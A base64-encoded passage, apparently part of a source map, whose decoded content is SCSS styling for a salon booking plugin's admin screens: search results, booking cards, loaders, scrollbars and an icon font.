R5bGVkIHtcbiAgICBtYXJnaW46IDA7XG4gICAgLy9tYXgtaGVpZ2h0OiBub25lO1xuICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICBwb3NpdGlvbjogc3RhdGljO1xuICB9XG5cbiAgLnNlYXJjaC1yZXN1bHQge1xuICAgIC8vICYgKyAuc2VhcmNoLXJlc3VsdCB7XG4gICAgLy8gXHQvL21hcmdpbi10b3A6IDEuNXJlbTtcbiAgICAvLyB9XG5cbiAgICAuc2VhcmNoLXJlc3VsdC1saW5rcyB7XG4gICAgICBkaXNwbGF5OiBmbGV4O1xuICAgIH1cblxuICAgIC5zZWFyY2gtcmVzdWx0LWxpbmtzIGEge1xuICAgICAgLy9mb250LXNpemU6IDEycHg7XG4gICAgICAvL2ZvbnQtd2VpZ2h0OiA3MDA7XG4gICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgICAvL2xpbmUtaGVpZ2h0OiAxO1xuICAgICAgLy9kaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICB3aWR0aDogYXV0bztcbiAgICAgIGhlaWdodDogYXV0bztcbiAgICAgIG1hcmdpbi1yaWdodDogMDtcbiAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblxuICAgICAgJjpub3QoOmxhc3Qtb2YtdHlwZSkge1xuICAgICAgICBtYXJnaW4tcmlnaHQ6IDZweDtcbiAgICAgICAgcGFkZGluZy1yaWdodDogNnB4O1xuICAgICAgICBib3JkZXItcmlnaHQ6IDFweCBzb2xpZDtcbiAgICAgIH1cbiAgICB9XG5cbiAgICBwIHtcbiAgICAgIC8vY29sb3I6ICMyYTU0NmM7XG4gICAgICAvL3BhZGRpbmc6IDRweCAwIDA7XG4gICAgICAvL2ZvbnQtc2l6ZTogMTJweDtcblxuICAgICAgJi5zZWFyY2gtcmVzdWx0LS1jdXN0b21lciB7XG4gICAgICAgIGZvbnQtc2l6ZTogMTZweDtcbiAgICAgICAgcGFkZGluZy1ib3R0b206IDRweDtcbiAgICAgIH1cblxuICAgICAgJi5zZWFyY2gtcmVzdWx0LS1hbW91bnQge1xuICAgICAgICBmb250LXdlaWdodDogNzAwO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICA+IHAge1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICBwYWRkaW5nLXRvcDogMXJlbTtcbiAgICBwYWRkaW5nLWJvdHRvbTogMXJlbTtcbiAgfVxuICAuc2xuLWxvYWRlci13cmFwcGVyIHtcbiAgICAvL3Bvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAvL3RvcDogMS41cmVtO1xuICAgIC8vcmlnaHQ6IDEuNXJlbTtcbiAgICAvL2JvdHRvbTogMS41cmVtO1xuICAgIC8vbGVmdDogMS41cmVtO1xuICAgIC8vb3BhY2l0eTogMC43NTtcbiAgICAvL3otaW5kZXg6IDk5OTk5OTtcbiAgICAuc2xuLWxvYWRlciB7XG4gICAgICBkaXNwbGF5OiBncmlkO1xuICAgICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAycmVtIGF1dG87XG4gICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgY29sdW1uLWdhcDogMXJlbTtcbiAgICAgIG1pbi1oZWlnaHQ6IDNyZW07XG4gICAgICBwYWRkaW5nOiAwLjc1cmVtO1xuICAgICAgb3BhY2l0eTogMC43NTtcbiAgICAgIHotaW5kZXg6IDk5OTk5OTtcbiAgICAgIHNwYW4ge1xuICAgICAgICBncmlkLWNvbHVtbjogMjtcbiAgICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICAgIGZvbnQtc2l6ZTogMXJlbTtcbiAgICAgIH1cbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgd2lkdGg6IDJyZW07XG4gICAgICAgIGhlaWdodDogMnJlbTtcbiAgICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgICBmb250LXNpemU6IDJyZW07XG4gICAgICAgIGxpbmUtaGVpZ2h0OiAycmVtO1xuICAgICAgfVxuICAgIH1cbiAgfVxufVxuXG4uc2xuLWNhbGVuZGFyLWJvb2tpbmctc2VhcmNoLXdyYXBwZXIge1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgYm9yZGVyOiBub25lO1xuICBib3JkZXItcmFkaXVzOiA5OTk5cHg7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbGlnaHQ7XG4gIG1pbi1oZWlnaHQ6IDIuNXJlbTtcbiAgd2lkdGg6IDEwMCU7XG59XG5cbi8vIC5jYWwtZGF5LXNlYXJjaCB7XG4vLyAgIG1hcmdpbi1yaWdodDogLTAuODMzMzNyZW07XG4vLyAgIG1hcmdpbi1ib3R0b206IDAuODMzMzNyZW07XG4vLyAgIG1hcmdpbi1sZWZ0OiAtMC44MzMzM3JlbTtcbi8vICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbi8vICAgICBtYXJnaW46IDA7XG4vLyAgIH1cbi8vIH1cblxuLnNsbi1jYWxlbmRhci1ib29raW5nLXNlYXJjaC1pbnB1dC13cmFwcGVyIHtcbiAgd2lkdGg6IGNhbGMoMTAwJSAtIDMwcHgpO1xuICBwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTBweClcbiAgICBzZXR0aW5ncy1taXhpbnMucmVtKDVweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICBwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDlweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcbiAgfVxufVxuXG4vKiBGSVggMDkyMDIzXG4uc2xuLWxvYWRlciB7XG4gICAgZm9udC1zaXplOiAxcHg7XG4gICAgQGV4dGVuZCAlYWJzb2x1dGUtY2VudGVyaW5nO1xuICAgIGhlaWdodDogNzVweDtcbiAgICAmOmFmdGVyIHtcbiAgICAgICAgQGluY2x1ZGUgZm9udC1pY29uKDc1ZW0pO1xuICAgICAgICBjb250ZW50OiBcIlxcZjFjZVwiO1xuICAgICAgICBAZXh0ZW5kICV0ZXh0LWNvbG9yLS1lbXBoYXNpcztcbiAgICAgICAgLXdlYmtpdC1hbmltYXRpb246IHdhaXQgMnMgaW5maW5pdGUgbGluZWFyO1xuICAgICAgICBhbmltYXRpb246IHdhaXQgMnMgaW5maW5pdGUgbGluZWFyO1xuICAgICAgICBAaW5jbHVkZSBpZTExKCkge1xuICAgICAgICAgICAgQGluY2x1ZGUgZm9udC1pY29uKDc1cHgpO1xuICAgICAgICB9XG4gICAgICAgIGxpbmUtaGVpZ2h0OiA3NXB4O1xuICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgfVxufVxuKi9cblxuLyogZGltaXRyaSAtIHJlc3R5bGUgYm9va2luZyBzZWFyY2ggcmVzdWx0cyAqL1xuLnNsbi1jYWxlbmRhci1zZWFyY2gtcmVzdWx0cy1saXN0IHtcbiAgcGFkZGluZzogMXJlbSAyLjVyZW0gMnJlbSAyLjVyZW07XG59XG4uc2VhcmNoLXJlc3VsdCB7XG4gIG1hcmdpbi1ib3R0b206IDA7XG59XG4uc2VhcmNoLXJlc3VsdC1jb250ZW50IHtcbiAgbWluLWhlaWdodDogMTAwJTtcbiAgLy9iYWNrZ3JvdW5kOiAjZjBmMGYwO1xuICAvLy13ZWJraXQtYm94LXNoYWRvdzogMXB4IDdweCAycHggLTFweCAjZDNkM2QzO1xuICAvL2JveC1zaGFkb3c6IDFweCA3cHggMnB4IC0xcHggI2QzZDNkMztcbiAgbWFyZ2luLWJvdHRvbTogMDtcbiAgcGFkZGluZzogMTBweCAwIDVweCAwO1xuICBib3JkZXItYm90dG9tOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9kX21haW4tLWQxO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfYmctLWxpZ2h0LTI7XG59XG4jY2FyZF9wcmVub3RhemlvbmUgLnJpZ2Ege1xuICAvL3dpZHRoOiAxMDAlO1xuICBkaXNwbGF5OiBmbGV4O1xuICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XG4gIGZsZXgtZmxvdzogcm93O1xuICAvL21hcmdpbi1ib3R0b206IDIwcHg7XG59XG4jY2FyZF9wcmVub3RhemlvbmUgLnJpZ2EudGVyemEge1xuICBwYWRkaW5nOiAwcHg7XG4gIG1hcmdpbi10b3A6IDQwcHg7XG59XG5cbiNjYXJkX3ByZW5vdGF6aW9uZSAuYnJlYWsge1xuICBmbGV4LWJhc2lzOiAxMDAlO1xuICBoZWlnaHQ6IDBweDtcbn1cbi8vICNjYXJkX3ByZW5vdGF6aW9uZSAuYmxvY2NvIHtcbi8vIFx0Ly93aWR0aDogMTYlO1xuLy8gfVxuLy8gI2NhcmRfcHJlbm90YXppb25lIC5ibG9jY286Zmlyc3QtY2hpbGQge1xuLy8gXHQvL3dpZHRoOiAzMCU7XG4vLyB9XG4jY2FyZF9wcmVub3RhemlvbmUgLmJsb2Njb19zZXJ2aXppIHtcbiAgbWluLXdpZHRoOiAyMCU7XG4gIGZsb2F0OiBsZWZ0O1xufVxuI2NhcmRfcHJlbm90YXppb25lIC5ib3R0b25lIHtcbiAgZmxvYXQ6IGxlZnQ7XG4gIG1hcmdpbi1yaWdodDogMjBweDtcbiAgbGV0dGVyLXNwYWNpbmc6IDFweDtcbiAgZm9udC1zaXplOiAxNnB4O1xufVxuXG4jY2FyZF9wcmVub3RhemlvbmUgcC5jYXJkX3ZhbHVlIHtcbiAgY29sb3I6ICM3MThlOWY7XG4gIGZvbnQtc2l6ZTogMTRweDtcbiAgLy9tYXJnaW4tYm90dG9tOiAtNXB4O1xuICAvL2xpbmUtaGVpZ2h0OiAxZW07XG4gIGZvbnQtd2VpZ2h0OiA2MDA7XG59XG4jY2FyZF9wcmVub3RhemlvbmUgcC5jYXJkX3ZhbHVlLmNhcmRfY3VzdG9tZXJfbmFtZSB7XG4gIGNvbG9yOiAjMDAwMDAwO1xuICBmb250LXdlaWdodDogNzAwO1xuICBmb250LXNpemU6IDE1cHg7XG59XG4jY2FyZF9wcmVub3RhemlvbmUgcC5jYXJkX2xhYmVsIHtcbiAgY29sb3I6ICM5ZGFjYjc7XG4gIGZvbnQtc2l6ZTogMTRweDtcbiAgZm9udC13ZWlnaHQ6IGxpZ2h0ZXI7XG59XG4jY2FyZF9wcmVub3RhemlvbmUgcC5ub21lX3NlcnZpemlvIHtcbiAgYmFja2dyb3VuZDogI2MwYzRjNjtcbiAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA1MHB4O1xuICAtbW96LWJvcmRlci1yYWRpdXM6IDUwcHg7XG4gIGJvcmRlci1yYWRpdXM6IDUwcHg7XG4gIG1hcmdpbi1yaWdodDogMTBweDtcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xuICBwYWRkaW5nOiA1cHggMjBweDtcbiAgY29sb3I6ICNmMGYwZjA7XG4gIGZvbnQtc2l6ZTogMTZweDtcbiAgbWFyZ2luLWJvdHRvbTogLTNweDtcbn1cbiNjYXJkX3ByZW5vdGF6aW9uZSBwLm5vbWVfYXNzaXN0ZW50ZSB7XG4gIHRleHQtYWxpZ246IGxlZnQ7XG4gIGZvbnQtc2l6ZTogMTVweDtcbiAgY29sb3I6ICM4MzkwOTc7XG4gIHBhZGRpbmctbGVmdDogMTBweDtcbn1cblxuI2NhcmRfcHJlbm90YXppb25lIHAuc2Vjb25kYXJ5IHtcbiAgY29sb3I6ICMwMDQyNTg7XG4gIG9wYWNpdHk6IDAuMTtcbn1cbiNjYXJkX3ByZW5vdGF6aW9uZSBwLm1haW4ge1xuICBiYWNrZ3JvdW5kOiAjMDAzNTUzO1xuICBjb2xvcjogI2ZmZjtcbiAgLy9tYXJnaW4tcmlnaHQ6IDE5JTtcbiAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiAzcHg7XG4gIC1tb3otYm9yZGVyLXJhZGl1czogM3B4O1xuICBib3JkZXItcmFkaXVzOiAzcHg7XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgLy9wYWRkaW5nOiA4cHggMjdweDtcbiAgbWluLWhlaWdodDogMi41cmVtO1xuICBtaW4td2lkdGg6IDhyZW07XG59XG4jY2FyZF9wcmVub3RhemlvbmUgcC5tYWluIGEuZXZlbnQge1xuICBjb2xvcjogI2ZmZjtcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICB3aWR0aDogYXV0bztcbiAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG59XG4jY2FyZF9wcmVub3RhemlvbmUgcC5tYWluOmhvdmVyIHtcbiAgYmFja2dyb3VuZDogIzBjNjQ4MTtcbn1cblxuLyogZmluZSAqL1xuXG4uc2xuLWNhbGVuZGFyLXNlYXJjaC1yZXN1bHRzLWxpc3QyNSB7XG4gIG9wYWNpdHk6IDE7XG4gIGJveC1zaGFkb3c6IDAgNHB4IDRweCAwIHJnYmEoYWRtaW5fY29uZmlnLiRjbF9kX19kYXJrZXN0LCAwLjI1KTtcbiAgcGFkZGluZy1yaWdodDogMDtcbiAgb3ZlcmZsb3cteTogaGlkZGVuO1xuICBtYXgtaGVpZ2h0OiAyNC41cmVtO1xuICAuZXZlbnQtbGlzdCB7XG4gICAgbWluLWhlaWdodDogM3JlbTtcbiAgICBtYXgtaGVpZ2h0OiAyMS41cmVtO1xuICAgIHBhZGRpbmctcmlnaHQ6IDIuNXJlbTtcbiAgICBvdmVyZmxvdy15OiBzY3JvbGw7XG5cbiAgICAvKiBTdGFuZGFyZGl6ZWQgc2Nyb2xsYmFyIHByb3BlcnRpZXMgZm9yIEZpcmVmb3ggYW5kIG1vZGVybiBicm93c2VycyAqL1xuICAgIHNjcm9sbGJhci13aWR0aDogdGhpbjtcbiAgICBzY3JvbGxiYXItY29sb3I6ICNjMWMxYzEgI2YxZjFmMTtcblxuICAgIC8qIFdlYktpdCBzY3JvbGxiYXIgc3R5bGluZyBmb3IgQ2hyb21lLCBTYWZhcmksIEVkZ2UgKi9cbiAgICAmOjotd2Via2l0LXNjcm9sbGJhciB7XG4gICAgICB3aWR0aDogMC41cmVtO1xuICAgIH1cblxuICAgICY6Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrIHtcbiAgICAgIGJhY2tncm91bmQ6ICNmMWYxZjE7XG4gICAgICBib3JkZXItcmFkaXVzOiAwLjI1cmVtO1xuICAgIH1cblxuICAgICY6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHtcbiAgICAgIGJhY2tncm91bmQ6ICNjMWMxYzE7XG4gICAgICBib3JkZXItcmFkaXVzOiAwLjI1cmVtO1xuXG4gICAgICAmOmhvdmVyIHtcbiAgICAgICAgYmFja2dyb3VuZDogI2ExYTFhMTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgLnNlYXJjaC1yZXN1bHQge1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG4gICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICBwYWRkaW5nOiAxLjVyZW0gMCAxLjJyZW0gMDtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfYmctLWxpZ2h0LTI7XG4gICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIHJnYmEoYWRtaW5fY29uZmlnLiRjbF9kX3RleHQtLWxpZ2h0LS1ldmlkLCAwLjQpO1xuICAgIGZvbnQtc2l6ZTogMXJlbTtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX3RleHQtLWxpZ2h0LS1ldmlkO1xuICAgIC8vIC5zZWFyY2gtcmVzdWx0X19ibG9jayB7XG4gICAgLy8gfVxuICAgIC5zZWFyY2gtcmVzdWx0X19ibG9jayB7XG4gICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIGdhcDogMXJlbTtcbiAgICAgICYuc2VhcmNoLXJlc3VsdF9fZGV0YWlscyB7XG4gICAgICAgIGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7XG4gICAgICB9XG4gICAgfVxuICAgIC5zZWFyY2gtcmVzdWx0X19pZCxcbiAgICAuc2VhcmNoLXJlc3VsdF9fY3VzdG9tZXIsXG4gICAgLnNlYXJjaC1yZXN1bHRfX2Ftb3VudCB7XG4gICAgICBmb250LXNpemU6IDEuMTI1cmVtO1xuICAgIH1cbiAgICAuc2VhcmNoLXJlc3VsdF9faWQge1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF90ZXh0LS1kYXJrZXN0O1xuICAgICAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgICB9XG4gICAgLnNlYXJjaC1yZXN1bHRfX2N1c3RvbWVyLWluZm8ge1xuICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG4gICAgICBnYXA6IDAuMjVyZW07XG4gICAgfVxuICAgIC5zZWFyY2gtcmVzdWx0X19jdXN0b21lci1uYW1lIHtcbiAgICAgIGZvbnQtc2l6ZTogMS4xMjVyZW07XG4gICAgICBsaW5lLWhlaWdodDogMS4zO1xuICAgIH1cbiAgICAuc2VhcmNoLXJlc3VsdF9fc2hvcC1uYW1lIHtcbiAgICAgIGZvbnQtc2l6ZTogMC44NzVyZW07XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX3RleHQtLWxpZ2h0O1xuICAgICAgbGluZS1oZWlnaHQ6IDEuMjtcbiAgICAgIG9wYWNpdHk6IDAuNzU7XG4gICAgfVxuICAgIC5zZWFyY2gtcmVzdWx0X19zdGF0dXMge1xuICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICBnYXA6IDAuNXJlbTtcbiAgICB9XG4gICAgLnNlYXJjaC1yZXN1bHRfX3N0YXR1cy1pbmRpY2F0b3Ige1xuICAgICAgd2lkdGg6IDAuNjI1cmVtO1xuICAgICAgaGVpZ2h0OiAwLjYyNXJlbTtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgICAgIGZsZXgtc2hyaW5rOiAwO1xuICAgIH1cbiAgICAuc2VhcmNoLXJlc3VsdF9fc3RhdHVzLWxhYmVsIHtcbiAgICAgIGZvbnQtc2l6ZTogMXJlbTtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxLjI7XG4gICAgfVxuICAgIC5zbG4tYnRuLS1jYWxlbmRhci12aWV3LS1waWxsIHtcbiAgICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NXB4KTtcbiAgICAgIHBhZGRpbmc6IDAgMnJlbTtcbiAgICB9XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgICAgZGlzcGxheTogZ3JpZDtcbiAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczpcbiAgICAgICAgbWlubWF4KDgwcHgsIGF1dG8pXG4gICAgICAgIG1pbm1heCgxNDBweCwgMWZyKVxuICAgICAgICBtaW5tYXgoMjAwcHgsIDEuNWZyKVxuICAgICAgICBtaW5tYXgoMTAwcHgsIDAuOGZyKVxuICAgICAgICBhdXRvO1xuICAgICAgZ2FwOiAxLjVyZW07XG4gICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIH1cbiAgfVxufVxuLnNlYXJjaC1yZXN1bHQtY29udGVudCB7XG4gIG1pbi1oZWlnaHQ6IDEwMCU7XG4gIC8vYmFja2dyb3VuZDogI2YwZjBmMDtcbiAgLy8td2Via2l0LWJveC1zaGFkb3c6IDFweCA3cHggMnB4IC0xcHggI2QzZDNkMztcbiAgLy9ib3gtc2hhZG93OiAxcHggN3B4IDJweCAtMXB4ICNkM2QzZDM7XG4gIG1hcmdpbi1ib3R0b206IDA7XG4gIHBhZGRpbmc6IDEwcHggMCA1cHggMDtcbiAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfZF9tYWluLS1kMTtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX2JnLS1saWdodC0yO1xufVxuXG5ALXdlYmtpdC1rZXlmcmFtZXMgd2FpdCB7XG4gIDAlIHtcbiAgICAtbW96LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuICAgIC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7XG4gICAgdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7XG4gIH1cbiAgMTAwJSB7XG4gICAgLW1vei10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO1xuICAgIC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcbiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO1xuICB9XG59XG5cbkBrZXlmcmFtZXMgd2FpdCB7XG4gIDAlIHtcbiAgICAtbW96LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuICAgIC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7XG4gICAgdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7XG4gIH1cbiAgMTAwJSB7XG4gICAgLW1vei10cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO1xuICAgIC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcbiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO1xuICB9XG59XG5cbi5xdWljay1lZGl0LXJvdy1wYWdlLmlubGluZS1lZGl0LXNsbl9zZXJ2aWNlXG4gIC5zbG4taW5saW5lLWVkaXQtc2VydmljZS1maWVsZHNcbiAgLnJvdyB7XG4gIG1hcmdpbi10b3A6IDIwcHg7XG59XG5cbi5xdWljay1lZGl0LXJvdy1wYWdlLmlubGluZS1lZGl0LXNsbl9zZXJ2aWNlXG4gIC5zbG4taW5saW5lLWVkaXQtc2VydmljZS1maWVsZHNcbiAgLnRpdGxlIHtcbiAgZGlzcGxheTogYmxvY2s7XG59XG5cbi5xdWljay1lZGl0LXJvdy1wYWdlLmlubGluZS1lZGl0LXNsbl9zZXJ2aWNlXG4gIC5zbG4taW5saW5lLWVkaXQtc2VydmljZS1maWVsZHNcbiAgLnRpdGxlLWlubGluZSB7XG4gIGRpc3BsYXk6IGlubGluZTtcbiAgbWFyZ2luLXJpZ2h0OiA1cHg7XG4gIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tcGF5LXRob3VzYW5kLXNlcGFyYXRvci1vcHRpb24gPiBsYWJlbCB7XG4gIHBhZGRpbmctcmlnaHQ6IDA7XG59XG5cbi8vICNzbG4tc2Fsb24tLWFkbWluIC5zbG4tYm94LS1vbmxpbmUtcGF5bWVudCAuc2xuLXN3aXRjaCxcbi8vICNzbG4tc2Fsb24tLWFkbWluIC5zbG4tYm94LS1vbmxpbmUtcGF5bWVudCAuc2xuLWJveC1tYWluaW5mbyB7XG4vLyBcdC8vbWFyZ2luLWJvdHRvbTogMDtcbi8vIH1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1jYWxjLXRvdGFsLWxvYWRpbmcge1xuICBtYXJnaW4tbGVmdDogMTBweDtcbn1cblxuQGZvbnQtZmFjZSB7XG4gIGZvbnQtZmFtaWx5OiAnTWF0ZXJpYWwgSWNvbnMnO1xuICBmb250LXN0eWxlOiBub3JtYWw7XG4gIGZvbnQtd2VpZ2h0OiA0MDA7XG4gIHNyYzogdXJsKGh0dHBzOi8vZm9udHMuZ3N0YXRpYy5jb20vcy9tYXRlcmlhbGljb25zL3Y0OC9mbFVoUnE2dHpaY2xRRUotVmRnLUl1aWFEc05jSWhROHRRLndvZmYyKVxuICAgIGZvcm1hdCgnd29mZjInKTtcbn1cblxuLnNsbi1zdGFmZi1tZW1iZXItYXNzaWduZWQtYm9va2luZ3Mtb25seS0tYWxlcnQge1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIHBhZGRpbmc6IDEwcHggMCAxMHB4IDUwcHg7XG4gIGJhY2tncm91bmQtY29sb3I6IHdoaXRlO1xuICBtYXJnaW4tdG9wOiA5cHg7XG4gIGJvcmRlci1sZWZ0OiBzb2xpZCAzcHggIzAyNzdiZDtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2Y4ZjhmODtcbn1cbi8qIEZJWCAwOTIwMjNcbi5zbG4tc3RhZmYtbWVtYmVyLWFzc2lnbmVkLWJvb2tpbmdzLW9ubHktLWFsZXJ0OmJlZm9yZSB7XG4gICAgZm9udC1mYW1pbHk6IFwiTWF0ZXJpYWwgSWNvbnNcIjtcbiAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgICBsaW5lLWhlaWdodDogMTtcbiAgICBsZXR0ZXItc3BhY2luZzogbm9ybWFsO1xuICAgIHRleHQtdHJhbnNmb3JtOiBub25lO1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgIHdvcmQtd3JhcDogbm9ybWFsO1xuICAgIGRpcmVjdGlvbjogbHRyO1xuICAgIC13ZWJraXQtZm9udC1mZWF0dXJlLXNldHRpbmdzOiBcImxpZ2FcIjtcbiAgICAtd2Via2l0LWZvbnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDtcbiAgICBmb250LXNpemU6IDJlbTtcbiAgICBsaW5lLWhlaWdodDogMDtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgY29udGVudDogXCJub3RpZmljYXRpb25zXCI7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogNDglO1xuICAgIGxlZnQ6IDE1cHg7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgIC1tb3otb3N4LWZvbnQtc21vb3RoaW5nOiBncmF5c2NhbGU7XG4gICAgYm9yZGVyLXJhZGl1czogNTAlO1xuICAgIGNvbG9yOiAjMDI3N2JkO1xufVxuXG4uc2xuLXN0YWZmLW1lbWJlci1hc3NpZ25lZC1ib29raW5ncy1vbmx5LS1hbGVydCAuaWNvbiB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIGJhY2tncm91bmQtY29sb3I6IHJlZDtcbiAgICBkaXNwbGF5OiBibG9jaztcbiAgICB3aWR0aDogMTBweDtcbiAgICBoZWlnaHQ6IDEwcHg7XG4gICAgYm9yZGVyLXJhZGl1czogMTBweDtcbiAgICBsZWZ0OiAxNXB4O1xuICAgIHRvcDogNDglO1xufVxuKi9cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tc3RhZmYtbWVtYmVyLWFzc2lnbmVkLWJvb2tpbmdzLW9ubHktLWFsZXJ0IHAge1xuICBjb2xvcjogIzNjNDM0YTtcbiAgZm9udC1zaXplOiAxNXB4O1xuICBsaW5lLWhlaWdodDogMS41ZW07XG4gIGZvbnQtd2VpZ2h0OiA2MDA7XG59XG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXN0YWZmLW1lbWJlci1hc3NpZ25lZC1ib29raW5ncy1vbmx5LS1hbGVydCBwIGEge1xuICBmb250LXdlaWdodDogYm9sZDtcbiAgdGV4dC1kZWNvcmF0aW9uLXRoaWNrbmVzczogM3B4O1xufVxuXG4uc2xuLWF0dGVuZGFudC1lbWFpbC1ibG9jayAuc2VsZWN0Mi1zZWxlY3Rpb25fX2Fycm93IHtcbiAgZGlzcGxheTogbm9uZTtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1hdHRlbmRhbnQtZW1haWwtYmxvY2sgLnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUge1xuICBib3JkZXI6IDFweCBzb2xpZCAjYzdkZmYzO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLWF0dGVuZGFudC1lbWFpbC1ibG9ja1xuICAuc2VsZWN0Mi1jb250YWluZXJcbiAgLnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGVcbiAgLnNlbGVjdDItc2VsZWN0aW9uX19jbGVhciB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgcmlnaHQ6IDE1cHg7XG59XG5cbi5pdGkge1xuICBkaXNwbGF5OiBibG9jaztcbn1cblxuLy8gI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1pbnB1dC0tc2ltcGxlICNzYWxvbl9zZXR0aW5nc19zbXNfcHJlZml4IHtcbi8vIFx0cGFkZGluZy1sZWZ0OiA1cmVtO1xuLy8gfVxuXG4vLyAjc2xuLXNhbG9u